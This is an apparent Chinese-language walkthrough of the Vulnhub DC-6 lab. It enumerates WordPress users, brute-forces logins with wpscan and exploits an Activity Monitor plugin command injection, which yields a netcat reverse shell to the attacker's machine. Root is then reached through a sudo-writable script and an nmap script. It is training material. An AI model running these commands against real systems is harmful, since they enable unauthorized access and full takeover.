DC-6-WordPress-nmap提權

NoCirc1e發表於2024-05-04

Vulnhub簡介

Vulnhub是一個提供了很多漏洞環境的靶場平臺,其中的環境基本上都是做好的虛擬機器映象檔案,需要使用VMware或者是VirtualBox執行。每個映象會有破解的目標,大多是Boot2root,從啟動虛擬機器到獲取作業系統的root許可權和檢視flag。

靶場部署

這個挑戰的最終目標是獲得root許可權並閱讀唯一的flag
vulnhub官網https://www.vulnhub.com
下載地址https://www.vulnhub.com/entry/dc-6,315/
1、直接從官網下載做好的虛擬機器映象檔案(推薦下載Mirror版本);
2、解壓會得到一個.ova的檔案,然後在VMware中開啟即可;

資訊收集

靶機官網給出的兩個線索
需要去配置一下hosts檔案
image.png
Kali裡面的密碼本
image.png

1.掃描區域網主機

arp-scan -l

image.png

2.埠探測

nmap -sV -p- 192.168.75.158

image.png
可以看到開放了22和80埠
直接訪問80埠是不能夠解析出來的,我們需要去配置一下hosts檔案

Windows系統下在 C:\windows\system32\drivers\etc\hosts
開啟後在末尾新增:192.168.75.158 wordy
Linux系統下在/etc/hosts
vim /etc/hosts
#新增
192.168.75.158 wordy

現在訪問即可
image.png
是一個WordPress網站,Kali有專門的掃描工具wpscan

3.目錄掃描

apt-get install dirsearch
dirsearch -u http://192.168.75.158

image.png

4.wpscan掃描使用者

wpscan --url http://wordy/  -e u

找到五個使用者
image.png

爆破

1、找到五個使用者名稱:admin、graham、mark、sarah、jens,將使用者名稱放到一個檔案裡作為使用者名稱,然後再將rockyou.txt裡面的帶有k01的匯出作為密碼,進行爆破
(作者在vulnhub上給了個提示,為了減少暴力破解的時間,需要將包含“k01”的字串從字典裡篩選出來作為新字典用)

vim dc-username.txt #將使用者名稱放到其中
gunzip rockyou.txt.gz rockyou.txt #去rockyou.txt.gz所在的目錄解壓密碼本
cat /usr/share/wordlists/rockyou.txt | grep k01 > dc-passwd.txt #將帶有k01的密碼導到dc-paswd.txt中

2、使用wpscan來爆破

wpscan --url http://wordy/ -U dc-username.txt -P dc-passwd.txt

找到mark的密碼為:helpdesk01
image.png
登陸後臺
http://wordy/wp-login.php
image.png

後臺外掛getshell

1、利用Activity monitor外掛的rce漏洞來getshell
2、點選Activity monitor -> Tools
image.png
3、執行命令的同時使用burp抓包,傳送到repeater模組
前端限制了只能填寫15個字元,可以F12修改長度
image.png
image.png
image.png

反彈shell

Kali終端上:nc -lvvp 4444
burp抓包修改為:nc 192.168.75.150 4444 -e /bin/bash

image.png
獲取一個穩定一點的shell終端

python -c 'import pty;pty.spawn("/bin/bash")'

image.png

切換使用者

在/home/mark/stuff下發現一個檔案,記錄了使用者graham的密碼GSo7isUM1D4
image.png
成功切換到graham使用者下
image.png

提權

先檢視一下有沒有suid提權,沒有再使用sudo -l看一下可執行的命令
可以看到允許graham使用者在不深入jens使用者密碼的情況下,使用jens身份執行/home/jens/backups.sh這個指令碼檔案
image.png
檢視一下指令碼內容

cat /home/jens/backups.sh

我們現在可以執行這個指令碼,而且該指令碼也在jens的目錄下,那可以將/bin/bash寫到這個指令碼中,再以jens使用者來執行這個指令碼,那我們就可以獲得jens的shell了

echo "/bin/bash" >> backups.sh

image.png
然後以jens使用者執行

sudo -u jens ./backups.sh

image.png
已經切換到jens使用者
再使用sudo -l檢視一下可以執行的操作
image.png
發現是可以使用nmap的root許可權,將反彈shell的命令寫入到指令碼中,然後使用nmap來執行指令碼就可以獲得root使用者的shell了

echo 'os.execute("/bin/bash")' > shell
sudo nmap --script=shell

image.png

知識點總結

  1. 資訊收集
  2. wpscan工具的使用,列舉使用者名稱,爆破登入
  3. WordPress外掛activity monitor遠端程式碼執行漏洞
  4. nmap提權

相關文章